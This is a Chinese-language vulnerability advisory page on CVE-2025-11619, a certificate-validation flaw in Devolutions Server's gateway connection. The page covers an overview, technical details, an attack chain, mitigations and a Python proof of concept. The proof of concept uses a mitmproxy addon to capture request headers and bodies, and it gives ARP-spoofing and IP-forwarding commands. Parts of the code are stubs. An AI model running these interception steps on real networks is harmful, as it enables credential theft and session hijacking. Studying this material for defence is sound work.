IPBUF安全漏洞报告
English
CVE-2025-11619 CVSS 8.8 高危

CVE-2025-11619 Devolutions Server网关证书验证不当漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-11619
漏洞类型
证书验证不当/中间人攻击
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Devolutions Server

相关标签

证书验证不当中间人攻击TLS/SSLDevolutions Server高危漏洞网络攻击凭据泄露CVSS 8.8CWE-295企业安全

漏洞概述

CVE-2025-11619是Devolutions Server 2025.3.2及更早版本中存在的一个高危安全漏洞,CVSS评分为8.8分。该漏洞源于Devolutions Server在连接到网关(Gateway)时未正确执行TLS证书验证机制,属于典型的证书验证不当(Improper Certificate Validation)漏洞。Devolutions Server是一款企业级远程连接管理和凭据管理解决方案,广泛应用于IT团队对远程桌面、服务器、数据库等资源的集中管理。当客户端或服务器组件尝试通过TLS/SSL连接到Devolutions Gateway时,由于缺少对服务器证书有效性的严格校验(例如不验证证书链、不检查证书是否由受信任的CA签发、不验证主机名与证书的匹配性等),使得处于网络中间人(Man-in-the-Middle, MitM)位置的恶意攻击者能够拦截并解密客户端与网关之间的加密通信流量。攻击者可以利用此漏洞窃取敏感的远程连接凭据、会话令牌、企业资源访问凭证等关键信息,同时还可以对传输的数据进行篡改,注入恶意负载或重定向连接。由于该漏洞影响机密性、完整性和可用性三个核心安全属性,且无需认证即可利用(仅需用户交互触发),因此对使用Devolutions Server的企业组织构成严重威胁。该漏洞由[email protected]报告,Devolutions官方已发布安全公告DEVO-2025-0014进行披露和修复。

技术细节

Devolutions Server与Gateway之间的通信依赖于TLS加密通道以确保数据传输的安全性。在正常的TLS握手过程中,客户端应当执行以下证书验证步骤:1)验证证书是否由受信任的证书颁发机构(CA)签发;2)验证证书链的完整性和有效性;3)验证证书是否在有效期内;4)验证证书的主题备用名称(SAN)或通用名称(CN)与目标主机名匹配。然而,在受影响的Devolutions Server 2025.3.2及更早版本中,当建立与Gateway的连接时,TLS客户端代码未正确实现上述证书验证逻辑。具体而言,应用程序可能使用了不安全的TLS配置选项(如设置了TrustAllCertificates、禁用了证书回调验证、或在自定义验证回调中始终返回true),导致任何证书(包括自签名证书、过期证书、主机名不匹配的证书)都会被接受。攻击者利用此漏洞的技术流程如下:1)攻击者首先需要在目标网络环境中获得MitM位置,例如通过ARP欺骗、DNS劫持或控制网络路由设备;2)当Devolutions Server尝试连接到Gateway时,攻击者拦截TLS握手并提供伪造的服务器证书;3)由于客户端不验证证书有效性,握手成功建立,攻击者获得明文或可解密的通信通道;4)攻击者可提取传输中的敏感凭据、会话令牌等数据,或注入恶意数据操纵客户端行为。该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H,表明通过网络即可利用,攻击复杂度低,无需权限但需要用户交互。

攻击链分析

STEP 1
步骤1:网络定位
攻击者通过ARP欺骗、DNS劫持、恶意WiFi热点或控制网络路由设备等方式,在Devolutions Server与其Gateway之间建立中间人(MitM)网络位置,能够拦截双方的通信流量。
STEP 2
步骤2:TLS握手拦截
当Devolutions Server尝试通过TLS连接到Gateway时,攻击者拦截TLS握手请求,并向客户端呈现伪造的服务器证书(可使用mitmproxy、Bettercap等工具动态生成)。
STEP 3
步骤3:绕过证书验证
由于Devolutions Server未正确验证证书有效性(不检查CA信任链、证书有效期或主机名匹配),攻击者提供的伪造证书被接受,TLS握手成功建立。
STEP 4
步骤4:数据窃取
TLS通道建立后,攻击者可解密所有传输数据,提取敏感的远程连接凭据、会话令牌、企业资源访问凭证等关键信息。
STEP 5
步骤5:数据篡改与持久化
攻击者可进一步篡改传输内容,注入恶意负载或重定向连接,实现对目标系统的持久化控制或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11619 - Devolutions Server Improper Certificate Validation PoC # This PoC demonstrates a Man-in-the-Middle attack exploiting # the lack of proper TLS certificate validation when Devolutions Server # connects to its Gateway component. # Requirements: # - mitmproxy or similar TLS interception tool # - Network position to intercept traffic (ARP spoofing / DNS poisoning) # - Python 3.x #!/usr/bin/env python3 """ PoC for CVE-2025-11619: Improper Certificate Validation in Devolutions Server Demonstrates how a MitM attacker can intercept gateway connections because the server does not properly validate TLS certificates. """ from mitmproxy import http, ctx from mitmproxy.options import Options from mitmproxy.proxy.config import ProxyConfig import ssl import socket # Step 1: Generate a self-signed certificate for the gateway hostname # This simulates what an attacker would do to intercept TLS traffic def generate_fake_cert(): """ In a real attack scenario, the attacker would use a tool like mitmproxy, Bettercap, or Ettercap to dynamically generate certificates for the target hostname (gateway hostname). """ # mitmproxy's CA cert is automatically trusted by mitmproxy itself # The Devolutions Server client fails to validate properly, # so it accepts these forged certificates pass # Step 2: ARP Spoofing to get into MitM position def arp_spoof(target_ip, gateway_ip, interface="eth0"): """ Use arpspoof or scapy to poison ARP caches and intercept traffic. Example with scapy: from scapy.all import * send(ARP(op=2, pdst=target_ip, psrc=gateway_ip), iface=interface) """ print(f"[*] Performing ARP spoofing between {target_ip} and {gateway_ip}") print("[*] Attacker is now in Man-in-the-Middle position") # Step 3: Intercept and capture credentials from Devolutions Server traffic class DevolutionsInterceptor: def __init__(self): self.captured_data = [] def response(self, flow: http.HTTPFlow) -> None: """ Intercept HTTP/HTTPS responses from Devolutions Gateway. Extract sensitive data such as credentials, session tokens. """ # Look for Devolutions Server API endpoints if "/api/" in flow.request.pretty_url: print(f"[+] Intercepted Devolutions API call: {flow.request.pretty_url}") print(f"[+] Request headers: {dict(flow.request.headers)}") if flow.request.content: print(f"[+] Request body: {flow.request.content[:500]}") self.captured_data.append({ "url": flow.request.pretty_url, "method": flow.request.method, "headers": dict(flow.request.headers), "body": flow.request.content[:1000] if flow.request.content else None }) def running(self): print("[*] MitM proxy started - intercepting Devolutions Server traffic") print("[*] Waiting for Devolutions Server to connect to Gateway...") # Step 4: Main execution - run mitmproxy with Devolutions traffic interception if __name__ == "__main__": print("=" * 60) print("CVE-2025-11619 PoC - Devolutions Server MitM Attack") print("=" * 60) # Configure mitmproxy to intercept all HTTPS traffic # mitmproxy will present forged certificates that should be rejected # by proper validation, but Devolutions Server < 2025.3.3 accepts them options = Options( listen_host="0.0.0.0", listen_port=8080, ssl_insecure=True, # This is the attacker side - no cert validation needed mode=["transparent"] ) # Start ARP spoofing to redirect traffic through our proxy # arp_spoof("<devolutions_server_ip>", "<gateway_ip>") print("[*] Run: mitmdump -s devolutions_interceptor.py --mode transparent") print("[*] When Devolutions Server connects to Gateway, traffic will be intercepted") print("[*] Captured credentials and session data will be displayed above") # Usage: # 1. Set up ARP spoofing: arpspoof -i eth0 -t <target> <gateway> # 2. Enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward # 3. Run mitmproxy: mitmdump -s this_script.py # 4. Wait for Devolutions Server to connect to Gateway # 5. Intercepted credentials will be captured # Impact: # - Credential theft (remote desktop passwords, SSH keys, database credentials) # - Session hijacking # - Data tampering (inject malicious responses) # - Full compromise of managed remote connections

影响范围

Devolutions Server <= 2025.3.2

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络访问控制列表(ACL)限制Devolutions Server与Gateway之间的网络通信仅允许可信网络路径;2)在网络层面部署TLS pinning或证书透明度(Certificate Transparency)监控;3)使用VPN隧道加密Devolutions组件间的所有通信流量;4)监控网络流量中是否存在异常的TLS证书或未预期的中间设备;5)暂时限制Devolutions Server对敏感凭据的访问权限;6)尽快安排升级至Devolutions Server 2025.3.3或更高版本以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表